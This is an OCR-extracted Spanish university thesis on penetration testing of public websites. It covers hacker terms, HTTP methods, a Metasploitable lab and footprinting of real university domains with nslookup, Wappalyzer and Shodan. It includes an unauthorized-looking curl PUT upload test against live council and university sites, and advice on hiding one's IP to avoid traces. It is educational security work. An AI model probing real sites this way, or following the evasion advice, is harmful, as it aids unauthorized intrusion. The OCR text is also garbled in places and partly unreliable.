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Resumen

ANALISIS DE SEGURIDAD EN WEBS PUBLICAS A TRAVES DE TEST DE INTRUSION.

Trabajo de final de grado de Ingenieria de Tecnologias y Servicios de Telecomunicacion
realizado con herramientas d e hacking sobre paginas web publicas.

Explicacién de conceptos fundamentales en este campo de la ciberseguridad forman el marco
teorico del estudio, junto a diferentes tipos de vulnerabilidades web.

El anélisis web, entendido como la recopilacion de informacion sobre la pagina en la que se
desea realizar la intrusiéon, como sistema operativo utilizado, versiones de frameworks o
directorios que la forman, constituye la primera parte practica. Este estudio se realiza a través de
diferentes paginas online publicas asi como algunas herramientas de cddigo abierto ejecutables
en la consola de Windows.

La segunda parte practica estd conformada por la explicacion de diferentes vulnerabilidades
analizadas sobre distribuciones creadas para la evaluacion de agujeros de seguridad informatica
y después evaluadas sobre paginas web publicas..

La posibles soluciones a las vulnerabilidades tratadas y la importancia de la ciberseguridad en
un mundo cada vez mas digital también forman parte de este proyecto.

Resum

ANALISI DE SEGURETAT EN WEBS PUBLIQUES A TRAVES DE TEST D'INTRUSIO.

Treball de final de grau en Enginyeria de Tecnologies i Servicis de Telecomunicacio realitzat
amb ferramentes de hacking sobre pagines web publiques.

Explicacié de conceptes fonamentals en este camp de la ciberseguridad formen el marc teoric de
l'estudi, junt amb diferents tipus de vulnerabilitats web.

L'analisi web, entés com la recopilacié d'informacié sobre la pagina en qué es desitja realitzar la
intrusio, com a sistema operatiu utilitzat, versions de frameworks o directoris que la formen,
constituix la primera part practica. Este estudi es realitza a través de diferents pagines online
publiques aixi com algunes ferramentes de codi obert executables en la consola de Windows.

La segona part practica esta conformada per I'explicacio de diferents vulnerabilitats analitzades
sobre distribucions creades per a l'avaluacid de forats de seguretat informatica i després
avaluades sobre pagines web publiques.

Les possibles solucions a les vulnerabilitats tractades i la importancia de la ciberseguridad en un
moén cada vegada més digital també formen part d'este projecte.
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Abstract

SECURITY ANALYSIS ON PUBLIC WEBSITES THROUGH INTRUSION TESTING.

Final degree project in Telecommunication Technologies and Services Engineering is carried
out with hacking tools on public web pages.

Explanation of fundamental concepts in this field of cybersecurity form the theoretical
framework of the study, along with different types of web vulnerabilities.

Web analysis, understood as the collection of information about the page on which you want to
perform the intrusion, such as the operating system used, versions of frameworks or directories
that form it, is the first practical part. This study is done through different public online pages as
well as some open source tools executable in the Windows console.

The second practical part is made up of the explanation of different vulnerabilities analyzed on
distributions created for the evaluation of computer security holes and then evaluated on public
web pages.

The possible solutions to the vulnerabilities addressed and the importance of cybersecurity in an
increasingly digital world are also part of this project.
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Capitulo 1. Introduccion

1.1 Contexto

Actualmente la dependencia tecnoldgica es una realidad en nuestra sociedad. Esta cambiando
nuestra manera de establecer relaciones sociales, profesionales y comerciales. La ciberseguridad
va de la mano junto a este auge, pues la exposicion de datos personales a la que estamos
sometidos es cada vez mayor. Cada dia en Espafia se producen, de media, unos 40.000, lo que
supone un aumento del 125% respecto al inicio de la pandemia.

La pandemia de 2020, causada por el COVID-19, impulso el teletrabajo que, a dia de hoy, sigue
presente en muchas empresas, lo que hace de ellas uno de los principales objetivos para los
ciberataques.

Ante estos cambios la regulacion de normas y leyes en Espafia estan en constante evolucion.
Existe un ‘Cédigo de la Ley de Ciberseguridad’ en el BOE. El proyecto recientemente
publicado “Espafia Digital 2025” contiene 47 medidas para la transformacion digital.

Es necesario trasladar a la sociedad la importancia de la ciberseguridad, aunque de manera
positiva, hay una gran demanda de trabajadores en el sector, con una tasa de paro 0.

1.2 Objetivos

El objetivo de este trabajo es conocer en profundidad las diferentes vulnerabilidades, los riesgos
que suponen para una pagina web y las posibles soluciones.

Poner a prueba las diferentes herramientas que encontramos para el analisis web y asi recopilar
la mayor informacion posible sobre el lugar en el que un atacante haria una intrusion.

Analizar las vulnerabilidades mas conocidas y ver de manera practica como se llevaria a cabo
un ataque de penetracion a un sistema informatico.
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Capitulo 2. Metodologia

2.1 Distribucion de tareas

Las tareas a realizar enumeradas de manera cronologica son:

1.
2.

Eleccion del tema

Busqueda de articulos, noticias, trabajos, libros y cursos donde buscar fuentes de
informacion.

Realizacion del marco tedrico con conocimientos adquiridos en el grado y en las fuentes
de informacion.

Pruebas sobre Metasploitable para el entendimiento de las diferentes vulnerabilidades.
Redactar la explicacion de las vulnerabilidades puestas en prueba.

Busqueda, con las herramientas aprendidas, de agujeros de seguridad sobre una pagina
web publica.

Redaccion del desarrollo con la explicacion de los resultados obtenidos.

Evaluacion de posibles mejoras.

2.2 Diagrama temporal

Tareas

TFG

Analisis de seguridad Diagrama de
informatica

Eleccion del tema

Busqueda fuentes informacion

Marco tedrico

Pruebas scbre Metasploitable

Parte tedrica vulnerabilidades

Periodo de pruebas

Redaccion proyecto ——

Evaluacion mejoras —

Figura 1. Diagrama de Gantt
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Capitulo 3. Marco tedrico

3.1 Términos hacking

3.1.1 Hacking

El Hacking es la busqueda y explotacion de vulnerabilidades de seguridad en sistemas o redes.
Principalmente se realiza hacking sobre servidores, ordenadores, aplicaciones moviles o, como
vamos a ver en este trabajo, sobre aplicaciones web.

El término hacker, definido por la RAE, es “una persona experta en el manejo de computadoras
que se ocupa de la seguridad de los sistemas y de desarrollar técnicas de mejora”.

Los hackers, o también conocidos como piratas electronicos, son personas con grandes
conocimientos en la informatica que se dedican a infectar de virus y software espia ordenadores.

Muchos ataques son de ingenieria social, ya que al hackear es importante para facilitar el trabajo
tener en cuenta las emociones, pensamientos, fechas y deseos del individuo atacado.

3.1.2 Tipos de hacker

Aunque el término hacker muchas personas lo asocian con una connotacién negativa,
asociandolo a una persona que accede a sitios de manera no autorizada, esto no siempre es asi.

Encontramos muchos tipos de hackers. Uno de ellos es el ‘White Hack’, que utilizan sus
conocimientos en programacion para proteger los datos de diferentes empresas u
organizaciones, es decir, se dedican a la ciberseguridad.

En el lado opuesto, encontramos el conocido ‘Black Hat’, donde los informaticos utilizan
diferentes virus, programas espia o maliciosos, para obtener un beneficio economico mediante
extorsion.

Entre estos dos primeros tipos nombrados, encontramos a los hackers de tipo ‘Grey Hat’. Lo
que pretenden este tipo de individuos, es vulnerar la seguridad de organizaciones de manera
ilicita para demostrar sus conocimientos y luego pedir un contrato laboral en esta misma
organizacion.

‘Red Hat’ es como se denominan los que interceptan a los Black Hat, para detener su ataque y
también al mismo individuo que lo esta lanzando. Los ‘Blue Hat’, son contratados por empresas
para la busqueda de errores antes de lanzar ptiblicamente un proyecto.

Y el ultimo grupo utilizado con este tipo de nomenclatura son los ‘Green Hat’ que son
simplemente personas en proceso de aprendizaje.

Por otra parte, también conocemos los ‘Phreaker’ que se dedican a todo lo relacionado con la
telefonia movil, como clonar o liberar teléfonos. Los ‘Lammer’ utilizan herramientas de otros
hackers para fingir sus conocimientos, y por ultimo los ‘ciberterroristas’, el grupo mas
peligroso. Difunden miedo con violencia y suele estar ligado a asuntos politicos y religiosos.
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3.1.3 Conceptos

En este trabajo utilizo términos del hacking que voy a proceder a definir.

El primero de ellos, es la herramienta conocida como maquina virtual, o VM. Es un software
que simula un sistema operativo, pudiendo ejecutar programas como si fuera un ordenador real,
pero estd alojado en otro ordenador que puede tener un sistema operativo diferente. Hay
diferentes aplicaciones capaces de cumplir esta funcion. En nuestro caso usaremos Virtualbox.

En cuanto a los protocolos de transferencia de archivos definimos 3 de los principales que
encontraremos en este trabajo. En primer lugar tenemos FTP, protocolo vulnerable ya que no
encripta los canales. Este método utiliza dos canales, el que autentica al usuario y el llamado de
datos que se encarga de transferir los archivos.

También cabe hablar sobre el protocolo HTTP, protocolo de transferencia de hipertexto, que nos
permite la transferencia de informacion en la World Wide Web. Asi como el HTTPS, el
protocolo seguro de transferencia de hipertexto, es decir, una version segura de HTTP. Es
caracterizada porque los datos viajan encriptados desde los navegadores hasta los servidores.

Por otra parte, el término DNS, servidores de nombres de dominio, son un servicio distribuido
globalmente que ayuda a traducir las direcciones IP a nombres mas reconocibles para las
personas. Todos los sitios web se buscan y comunican con direcciones IP, una direccion
numérica que se convierte en otra mas facil de recordar.

Los subdominios son subgrupos de nombres de dominios definidos con fines administrativos u
organizativos.

3.1.4 Direccion IP

A la hora de realizar practicas de hacking, debemos ser conscientes de la importancia de ocultar
nuestra direccion IP y asi mantener el anonimato en la red.

Diferenciamos entre la IP Publica, que es, por ejemplo, la de nuestro router, sirve como
identificativo de nuestra red desde el exterior. Esta puede ser fija o dinamica. Por otra parte,
tenemos la IP Local o Privada, que va asociada a cada dispositivo conectado a una red.

La razén por la que hay que mantener nuestro identificativo oculto es principalmente por la
privacidad, y para ello si ocultamos la direccion IP estamos dificultando el rastreo de nuestra
ubicacion.

Ocultar la IP también puede ser de utilidad para acceder a paginas web de acceso restringido en
el pais en el que nos encontremos.

A la vez, como sabemos, cualquier actividad realizada en Internet queda registrada, y con este
acto, evitamos lo que se llama dejar nuestra huella digital.

La forma mas sencilla para que no quede constancia de nuestra direccion, es simplemente usar
una wifi piiblica. También podemos usar servidores proxy o utilizar una VPN.
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3.1.5 Métodos HTTP

El ‘Protocolo de transferencia de hipertexto’, es el protocolo de comunicacion para transferir
informacion para indicar las acciones a realizar a un determinado recurso bajo una URL.

Los métodos mas importantes son GET, POST y PUT.
El método GET se emplea para leer una representacion de un recurso especifico.

Cuando se recibe una respuesta positiva, con un 200 OK, el método GET devuelve la
representacion en formato HTML, JavaScript, CSS u otros. Si la respuesta es negativa se
devuelve un ‘not found’ con el codigo 4040 o un ‘bad request’ con un 400.

Esta solicitud se puede ver en la barra de direcciones, lo que hace de este método, un método
inseguro y facil de modificar.

Al poner una busqueda en google, vemos como es visible esta busqueda en la barra de
direcciones, y al inspeccionar encontramos el formulario que envia datos al recurso ‘search’ a
través del método GET.

<~ O 3 https://www.google.com/search?q=upv8sxsrf=ALiCzsYmluZmAeEICzzSmvqubeYL20KuuA%3A 1656068961957 &ei=YZu1YtWCOsr2lwTYkrk4DABved =0ahUKEwiVt83R-c... LB

GJ (3  Ledamos la bienvenida Elementos  Consola  Fuentes Red Rendimiento Memoria Aplicacion Seguridad Lighthou
GO |e upv ¥ <div class="CvDIxb" jscontroller="tIj4fb" jsaction="rcuQBb:npT2md;" id="searchform">
9 <div style="margin-top:-2@px" class="sfbg"></div>

¥ <div class="Q3DXx yIbDgf"> [ flex
¥ <form class="tsf" action="/search” id="tsf" data-submitfalse="q" method="GET" name="f" role="search">

Q Todo [E Noticias @ Maps & Ima P <div jsmodel="sj77Re vWNDde P9Kqfe" jsdata="MulEvd;_;AbCuaE">.</div>

B <div id="tophf">..</div>

</Form>
Aproximadamente 17.600.000 resultados (0,60 b <div class="03DXx">..</div>  flax

</div>
Anuncio - https:/fwww.upv.es/ * 963 87 70 00 </div>
<div class="DH7hPe"></div>

Universitat Politécnica - Politécnic <div 1d="gac_scont"></div>

<span class="kpshf line gsr bilit big mdm" style="display:none"></span>
B <div class="main® id="main">..</div>

Figura 2. Método GET

Programas de ayuda para alumnado de nuevo il

El método POST es utilizado para enviar datos a un recurso especifico pero con un método mas
seguro que el método GET. Se utiliza para enviar formularios. En caso de respuesta positiva
devuelve un 201, ‘created’.

Volvemos a realizar la busqueda en google, esta vez en la pagina de logueo de la upv, y
observamos que el formulario esta ver utiliza el método POST.

Up W LE UMIMOS i Dienveniug ClEMeNUS  LOmSUIa  FUBMEs  ned RenammIeno MmO Apicacion ot
UNIVERSITAT P <script type="text/javascript®r.</script>

OLITECNICA w <div id="pagina">
DE VALENCIA B <div id="DIVbannerl2" style="margin-bottom:0px;”>.</div>

¥ <div id="contenido™>
<hl class="cabpagina”>Identificacién UPV</hl>
B <script type="text/javascript”>.</script>
b <style type="text/css"> 1,
P <script type="text/javascript”>.</script>
W <div id="DIVpanelCentralN2" style="height:auto;"s
W <div id="DIVpanelALUMNO™>
w <div class="div_BLOQUE div_gradiente div_alumno™>»
<h2 id="most
<a class="upv_snlace upv_plegable” style="outline:@" hraf="#" onclick="plegar(’ panelilumnoOculta
r'); plegar('divcont_certalu'); plegar('blogueInfoAlu'); return false;" title="mostrar/ccultar”s
<far

arAlumnoSinEnlace” >Alumnado</h2>

» ¢div class="desplegarlogin” id="mostrarAlumno">..</div>
A liannado ¥ <div class="container">
¥ <div_id="panelAlumnoOcultar” style="display:none;”>

NI : ¥ <form name="alumno” id="alumno” onsubmit="return submit login(this, alumno’);" target="_top"

method="post” action="est aute.intraalucomp™>
T E <input type="hidden” value="c" name="id">
<input type="hidden" value="580" name="estilo">

<input type="hidden” value name="vista">
<input type="hidden” value name="param">

cinnnt tune="hiddan" valua="miinu" name="ria"s

Figura 3. Método POST
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El método PUT es utilizado habitualmente para la creacion o actualizacion de contenidos y al
igual que el método POST no refleja la bisqueda en la barra de direcciones del navegador. Con
este método podemos subir archivos a servidores que si no tienen una buena seguridad podria
llevar al acceso de archivos maliciosos.

Utilizamos una herramienta que se llama Curl para probar la subida de ficheros por el método
PUT a la pagina del ayuntamiento de Alzira y la de la Upv donde obtenemos diferentes
resultados.. Esta herramienta ya viene instalada en Windows, Linux y Macos. Lo ejecutamos en
la terminal intentando subir un ejemplo de documento de texto y observamos como en el primer
caso nos responde con error, tipicamente ‘405 Method Not Allowed’, pero en el caso de la Upv
no es asi, asi que esto seria algo a analizar posteriormente por si diera cabida a una
vulnerabilidad.

Simbolo del sistema

C:\Users\Usuario\Desktop>»curl -X PUT -T pru.aba txt httpu. //sedeelectronica.alzira.es
< IDOCTYPE HTHL PUBLIC "-//IETF//DTD HTML 2

5 Method Not Allowed</title>

~ this URL.</p:>

Figura 4. Método PUT sobre pagina del Ayuntamiento de Alzira

BN Seleccionar Simbolo del sistema

e\ | 0 curl -X PUT -T prueba.txt https:/
IDOCTYPE HTML PUBLIC JIETF//DTD HTML 2.0//EN">
html:

</body></html>

\Usuario\Desktop>

Figura 5. Método PUT sobre pagina de la UPV
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3.2 Herramientas utilizadas

3.2.1 VirtualBox y Metasploitable2-Linux

En este trabajo, para poner a prueba diferentes ataques, utilizo VirtualBox como he mencionado
anteriormente.

VirtualBox lo he configurado con Metasploitable2, es una distribucion basada en Ubuntu que
esta intencionadamente configurada con fallos de seguridad y puertos abiertos para poder hacer
pruebas.

7

L

1Y serramenta

==

&= Crear maquina virtual

Disco duro

Si desea puede agregar un disco duro virtual a la nueva maquina. Puede crear un
nuevo archivo de disco duro o seleccionar uno de |a lista o de otra ubicacidn
usando el icono de la carpeta.

. Si necesita una configuracidn de almacenamiento mds compleja puede omitir este
paso y hacer los cambios a las preferencias de la maquina virtual una vez creada.

El tamafio recomendado del disco duro es 8,00 GB.
(7} No agregar un disco duro virtual

rear un disco dura virtual ahora

(® Usar un archivo de disco duro virtual existente

Metasploitable.vmdk (Normal, 8,00 GB) T g

Crear Cancelar

Figura 6. VirtualBox

Verificamos direccion ip que nos asigna:

[] metasploitable [Corriendo] - Oracle VM VirtualBox == O p 4
Archivo Maguina Ver Entrada Dispositivos Ayuda

o access official Ubuntu documentation, please wvisit:
ttp:sshelp.ubuntu.cons
o mail.
sfadmin@metasploitable:™5 ifconfig
Etho Link encap:Ethernet HUaddr 06:00:27:40:24:46
inet addr:192.166.1.152 Bcast:192.168.1.255 Mask:255.255.255.0
ineth addr: feB0::a00:27ff (fedd:2446-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
R¥ packetsz:58 errors:0 dropped:0 overruns:0Q frame:0
TX packets:?6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6880 (6.7 KB) TX bytes:7885 (7.7 KB)
Base address:0xd0Z0 Memory:f1Z00000-f12Z20000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.90

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:109 errors:0 dropped:® overruns:0 frame:0
TX packets:109 errors:0 dropped:0@ overruns:0 carrier:0
collizsions:0 txqueuelen:O

R¥ bytes:2?7661 (27.0 KB) TX bytes:27661 (27.0 KB)

sfadnin@netasploitable:™5

Gl Eg
Figura 7. Interfaz Metasploitable2 en VirtualBox

()| # | CTRL DERECHA
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Y vemos que es accesible desde nuestro navegador:

& C A Noesseguro | 192.168.1.152

WSTone || SE— s [ ] comussoll Bdmassn] N || T cocsslfmess B
P .. %8 % £ b T2NTE BT Folo Bl % 3]
A 0 Y I O . (o VO Y g R 0 O Y 0 O [ - ) DO O
il I_I\_I\_\_,_I_|/ Y O P T

Warning: Mever expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

TWiki
phpMyvAdmin
Mutillidae
DVWA
WebDAV

Figura 8. Interfaz Metasploitable2 en navegador

Dentro de las herramientas que nos ofrece metasploitable2 cabe destacar por el uso dado en este
trabajo: phpMyAdmin, Mutillidae y DVWA.

PhpMyAdmin es una herramienta que utiliza como lenguaje PHP, disefiada para el manejo de
bases de datos de MySQL a través de un navegador web.

Por otra parte, en Metasploitable2 viene instalado OWASP Mutillidae, una aplicaciéon web
gratuita, de codigo abierto, intencionadamente vulnerable para pruebas de seguridad web.

En cuanto DVWA, Damn Vulnerable web App, es al igual que la anterior, una aplicacion web
que contiene vulnerabilidades, disefiada con el objetivo de que los profesionales puedan poner a
prueba sus herramientas. Es una aplicacion PHP/MySQL.

3.2.2 Lenguajes

En cuanto a los lenguajes de programacion que vamos a utilizar y por tanto hay que tener
instalados en nuestro ordenador se encuentra Java y Python que usaremos la version 3.7.

Para analizar el back-end de los sitios web tendremos en cuenta que el lenguaje mas utilizado es
el PHP, asi como el JavaScript, lenguaje en crecimiento durante la tltima época.
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3.2.3 Aplicaciones automatizadas para pruebas de seguridad

Procedo a enumerar y explicar las diferentes aplicaciones que tengo instaladas para poder
analizar las paginas web que deseo poner a prueba. El objetivo del uso de estas aplicaciones es
obtener informacion confidencial sobre la pagina con el fin de buscar vulnerabilidades.

En primer lugar, Wappalyzer otorga acceso a una API que identifica qué tecnologias utiliza el
sitio web que deseamos analizar. Otras paginas web para el analisis son Shodan y Netcraft.

En segundo lugar, Nmap, un software de codigo abierto utilizado para analizar una red y sus
puertos. Fue disefiado para Linux aunque actualmente podemos encontrar versiones para Mac y
Windows de esta aplicacion enfocada a las auditorias de seguridad.

Entre las principales funciones que Nmap nos ofrece encontramos la de mapear una red, es
decir, reconocer los dispositivos que se encuentran conectados a la red, la de identificar qué
servicios se estdn ejecutando en la misma red o la de realizar auditorias de seguridad, asi como
detectar sistemas operativos.

Como tercera opcion, cabe nombrar HTTRACK, que nos permite la descarga a un sistema de
almacenamiento en nuestro ordenador.

Otra aplicacion a destacar es Webscarab, enfocada a facilitar el trabajo a profesionales en
seguridad informatica que buscan vulnerabilidades en aplicaciones basadas en HTTP. Asi como
Powerfuzzer, otra web automatizada basada en protocolo HTTP que recopila informacion de
recursos de seguridad de sitios web identificando problemas como XSS, inyecciones, HTTP
estados entre otros.

Por ultimo, Burp Suite, disponible para Linux, Mac y Windows, es una herramienta Java creada
para inspeccionar sitios web y escanear sus vulnerabilidades.
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Capitulo 4. Desarrollo y resultado del trabajo

4.1 Analisis web

El primer paso a realizar a la hora de querer atacar una pagina web seria su previa exploracion.

Necesitamos recopilar informacidon como su sistema operativo, las versiones de sus frameworks
que utilizaron los programadores al desarrollar estos sitios para poder buscar si existen
vulnerabilidades en ellos asi como la estructura con la que se cred. Debemos analizar los
directorios o archivos que lo forman, los parametros como entradas de datos que tiene y las
conexiones que establece, con otros dispositivos, bases de datos...

Una vez hemos recopilado toda la informacion posible del sitio podemos acotar y facilitar el
tiempo de ataque a la hora de intentar proceder a la intrusion.

Este tipo de recopilacion de informacion recibe el nombre de ‘Footprinting’. Es la fase previa al
ciberataque y consiste en el proceso de recopilar informacion para localizar vulnerabilidades. La
primera informacion que suelen recopilar es el nombre del dominio, la direccion IP, el sistema
operativo utilizado. También segun la empresa a analizar seria interesante informacion sobre los
trabajadores con acceso al sitio a atacar, sus nimeros de teléfono o los correos.

Este proceso no es solo utilizado por hackers con el fin de atacar un sitio web, también lo
utilizan algunas empresas para investigar sus usuarios para mostrar publicidad que les pueda
interesar, como la que nos aparece en las redes sociales como Facebook o Instagram.

Hay dos tipos de FootPrinting: activo y pasivo. En el activo se interactia con la aplicacion o el
servidor, es un proceso mas tedioso, se usan herramientas para la obtencion de la informacion y
se realizan pruebas como la introduccion de datos para la busqueda de errores. Por otro lado, el
Footprinting pasivo, no se interactia, se basa en btisquedas en internet como revisar el sitio web
o los perfiles de los trabajadores en Google, asi como buscar el sitio web en WHOIS, protocolo
basado en peticiones y respuestas para realizar consultas a bases de datos con el fin de conocer
el propietario de un dominio o la direccion IP.

Voy a proceder al andlisis de una pagina web y como ejemplo usaré la de la Universidad
Politécnica de Valencia.

Para este analisis la primera consulta que vamos a realizar es saber que direccion IP corresponde
a la direccion DNS que conocemos, upv.es.

Para ello, con la linea de comandos usaremos la herramienta Nslookup, que la podemos utilizar
de manera gratuita tanto en Windows, Linux como en macOS y nos permite precisamente lo que
buscamos, conocer la direccion IP asociada a un determinado dominio.

Simbolo del sistema

ias.cc.upy
158.42.4.
WW . UpV . €5

Figura 9. nslookup en cmd

10
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Por tanto, ya sabemos que la direccion IP asociada al dominio upv.es es 212.230.135.2, que la
necesitaremos para el uso de algunas herramientas a la hora de buscar vulnerabilidades en esta
misma pagina. También observamos que nos aparece con el mensaje ‘Respuesta no autoritativa’
la direccion 1P 158.42.4.23, esto indica que el servidor DNS local no puede responder a la
consulta por su cuenta, si no que, ha contactado con otro o otros servidores con otros nombres.

4.1.1 Wappalyzer

Esta pagina automatizada citada en las herramientas utilizadas anteriormente, a la que se accede
de manera online, para averiguar qué tecnologias utiliza el sitio web a analizar. Al ser online, no
exponemos nuestra direccion IP. Simplemente ponemos la pagina web y procedemos al analisis.

& C ) https://www.wappalyzer.com A s s s

Products v  Pricing  Resources v & pausi08@gmail.com

Identify technologies on websites

Find out the technology stack of any website. Create lists of websites that use certain

technologies, with company and contact details. Use our tools for lead generation, market
analysis and competitor research.

upvied Q

upv.es Technology lookup &

Empower your sales and marketing teams

Figura 10. Wappalyzer

Los resultados que obtenemos son los siguientes:

o Wappalyzer Producf

Home Technology lookup upv.es

upv.es
Technology stack

Static site generator

‘A Nuxtjs

Ecommerce

W Cart Funetionality

Programming languages

Node.js

Figura 11. Resultado 1 Wappalyzer

11
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JavaScript libraries

Web frameworks

& jQuery @ core-js
A Nuxtjs

script.aculo.us

Web servers
Font scripts

#  Apache A Nuxtjs
Google Font API

O Oracle HTTP Server

Analytics
JavaScript frameworks 0 Google Analytics
A Nuxtjs v Vue.js
Advertising
GSAP Prototype .\ Google Ads
Live chat Miscellaneous
®  WhatsApp Business Chat &  webpack Smlelhnauie

Monitoring Service

Figura 12. Resultado 2 Wappalyzer Figura 13. Resultado 3 Wappalyzer

Por tanto, ya tenemos la primera informacion que vamos a ir recopilando acerca del sitio web
para posteriormente poder probar y encontrar mas facilmente vulnerabilidades.

Hemos obtenido los tipos de tecnologia que esta utilizando, entre ellos observamos el uso de
Nuxt.js como generador de sitio estatico, una biblioteca de JavaScript de codigo abierto basada
en Vue.js, Node.js, Webpack y Babel.js. Es un marco para crear vistas web en JavaScript
utilizando el sistema de componentes de archivo Vue.js.

Nuxt.js ocupa el 49.6% de las tecnologias de generadores de sitios estaticos segun la cuota de
mercado de momento en 2022,

Como pagina de pago para el comercio electronico utiliza Cart Functionality.

Pese a que, como hemos comentado antes, el lenguaje de programacion mas utilizado es PHP,
este sitio web utiliza Node.js, un entorno de JavaScript multiplataforma.

Como framework web observamos que utiliza la tecnologia Nuxt.js, al igual que como
frameworks de JavaScript junto a Vue.js, GSAP y Prototype.

Un dato de gran interés para nuestro objetivo es conocer los Servidores Web, que en este caso
ya sabemos que son Apache, Nuxt.js y Oracle HTTP Server.

Y obtenemos mas informacion como podemos ver en las imagenes como las librerias de
JavaScript, que utiliza Google para el analisis de datos y anuncios, entre otros datos.

12
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Ahora vamos a seguir utilizando otras herramientas para ver si podemos obtener mas
informacién sobre el sitio web y también comparar si se nos proporciona la misma informacion
analizada desde otras webs.

4.1.2 Shodan

Shodan es un servicio online que tiene el papel de uno de los motores de busqueda més utilizado
por los hackers para buscar todo tipo de dispositivos conectados a internet como routers,
dispositivos [oT y hasta cdmaras de seguridad.

Simplemente introduciendo la direccion IP podremos saber informacion como la ciudad donde
se encuentra la organizacion, los puertos abiertos, ubicaciones del servidor, tecnologias usadas,
vulnerabilidades. ..

Al introducir la direccion IP que hemos obtenido anteriormente asociada al dominio upv.es,
observamos que observamos que tiene el puerto tcp 53 abierto y esta en Madrid.

< C @ shodanio/host/212.230.1352 w2 % »0@

ORI T

#% SHODAN Explore  Downloads  Pricing

atelite | ©MapTier © O

// LAST SEEN: 2022-06-09

@ General Information 2 Open Ports
Country Spain

City Madrid

Organization XTRATELECOM SA. AEALTER 1510557748 | 2022-06-09T18:30:37 824340
ISP XTRATELECOM SA. Resolver T0: MASHOVIL DS FI30

ASN AS15704

Figura 14. Shodan DNS upv.es

Sin embargo, si buscamos la direccién que hemos obtenido como servidor DNS observamos que
no nos proporciona ningun resultado, esto se debe a que la pagina estd preparada para este
ataque.

'. SHODAN Explore Pricing &2 [158.42.4.23 n
n Note: No results found

Figura 15. Shodan DNS

13
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Para comprobar mejor el funcionamiento de esta pagina probamos con otro sitio web publico
como podria ser el de la Universidad de Valencia, y por el contrario observamos mucha
informacion. Algunos ejemplos de la informacion que encontramos:

@ General Information

ja.edu, iounivalencia.edu, ja.edu,

fuciovalencia.edu, io.val

entreu.uv.es, www.uv.es, i2sysbio.uv.es, contd.uv.es, wwwtest.uv.es,
contdvalencia.edu, ficharuv.es, tablonvalencia.edu, gdivalencia.edu,

ia.edu, ingenieria.uv.es, confucio.uv.es,

eleccio.uv.es, gdhvalencia.edu, enginyeria.uv.es, enginyeriavalencia.edu,

Hostnames ia.edu, ia.edu, lencia.edu,

ja.edu, diovi.uv.es,

uv.es, gdiuv.es,
extensio.uv.es, entreuvalencia.edu, tauleruv.es, gdh.uv.es,
i edu, i uv.e ja.edu,

bibliotecavalencia.edu, tablon.uv.es, gdw.uv.es, ingenieriavalencia.edu,

formatosaudiovivalencia.edu, etse.uv.es

Domains UVES VALENCIA.EDU
Country Spain
City Valencia

Organization Universidad de Valencia

// LAST SEEN: 2022-06-19

582 Open Ports
oooo

/80 /TCP 4 498718135 | 2022-06-19T16:36:11.274853

Apache httpd

HTTP/1.1 302 Found
Date: Sun, 19 Jun 2022 16:36:10 GHT
Server: Apache

X-Frame-Options: SAMEORIGIN
Location: https://wi.uv.
215074 htnl
Content-Length: 295
Content-Type: text/html; charset=iso-8859-1

vei-bibli i-bibli 1285867

// 123 / UDP

60 | 2022-06-06T01:06:2

NTR
protocolversion: 3
stratum: 3

Figura 16. Shodan 1 uv.es

B Web Technologies

@ BOOTSTRAP CDNJS w CHART.JS CLOUDFLARE

@ DATATABLES [ FONT AWESOME ® GOOGLE MAPS

& JOUERY JQUERY UI JSDELIVR o LEAFLET

LIGHTBOX ORACLE DYNAMIC MONITORING SERVICE UNPKG

/443 /TCP 4 934923111 | 2022-06-19T18:04:47.685755

nginx 191

HTTP/1.1 268 O
Date: Sun, 19 Jun 2022 18:84:46 GHT
Server: nginx/1.9.1
X-Frame-Options: SAEORIGIN
Content-Type: text/htnl; charset=UTF-8
cache-control: no-store
last-nodified: Sun, 19 Jun 2022 18:04:46 GNT
x-oracle-dus-rid: @
device_type: Desktop
x-content-type-options: nosniff
host_service: FutureTenseContentServer:12¢
d: 1F15ef-0043409

x-xss-protection: 1; mode=block
access-control-allow-headers: X-Requested-Hith,X-Language
strict-transport-security: max-age=63072008; includesubbonains
x-content-type-options: nosniff

referrer-policy: strict-origin-when-cross-origin
X-Proxy-Cache: EXPIRED

set-cookie
ponly; Httponly;Secure
Transfer-Encoding: chunked

NLVZXHmSAFIFp o] 379820214; path=/; Het

SSL Certificate

certificate
Data:
Version: 3 (0x2)
Serial fumber:
77:17:92:7b:8F:39:87:70:8a:bd: C6:61:33:59:52:30
Signature Algorithm: sha3saHithRSAENCryption
Issuer: C-NL, O=GEANT Vereniging, CN-GEANT OV RSA CA 4
Validity
tot Before: Jul 9 00:68:00 2020 GHT
Not After : Jul 9 23:59:59 2022 GHT
Subject: C-E5/postalCode=46022, ST-Valencia, L-Valencia/street-Avenida de Vicente Blasco Tb\XC3\AT\XC
3\xBlez 13, OUniversitat de Val\xC3\xASncia, OUsServei d'Inform\xC3\xAltica, Cliwwas.uv.es
Subject Public Key Info:

Figura 17. Shodan 2 uv.es
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SSL Certificate
Certificate:
Data:

Version: 3 (@x2)
Serial Number:
77:17:92:7b:8f:39:87:f0:8a:bd:c6:61:33:59:52:30
Signature Algorithm: sha384WithRSAEncryption
Issuer: C=NL, O=GEANT Vereniging, CN=GEANT OV RSA CA 4
Validity
Mot Before: Jul O 2@:08:00 2828 GMT
Not After : Jul © 23:59:58 2822 GMT
Subject: C=ES/postalCode=46022, ST=Valencia, L=Valencia/street=Avenida de VWicente Blasco Ib\xC3\xA1\xC
3\xBlez 13, O=Universitat de Val\xC3'xASncia, OU=Servei d'Inform\xC3\xABtica, CH=www.uv.es
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2848 bit)
Modulus:
88:db:6b:cd:eb:4e:bl:5e:7a:87:d8:53:92:98:7¢c:
le:a5:16:13:d3:44:3a:71:44:95:87:cf:32:82:3e:
Sb:cB:51:28:f4:56:84:54:71:34:95:e3:c3:bl:eb:
81:bb:1a:2e:89:4d:61:27:45:88:65:66:88:8f:a5:
ff:31:38:da:37:1c:cf:bo:@d:e2:f1:fb:fb:ci:bd:
35:bb:dd: f6:67:3a:ca:43:aa:cc:7T:1c:4a:2e:97:
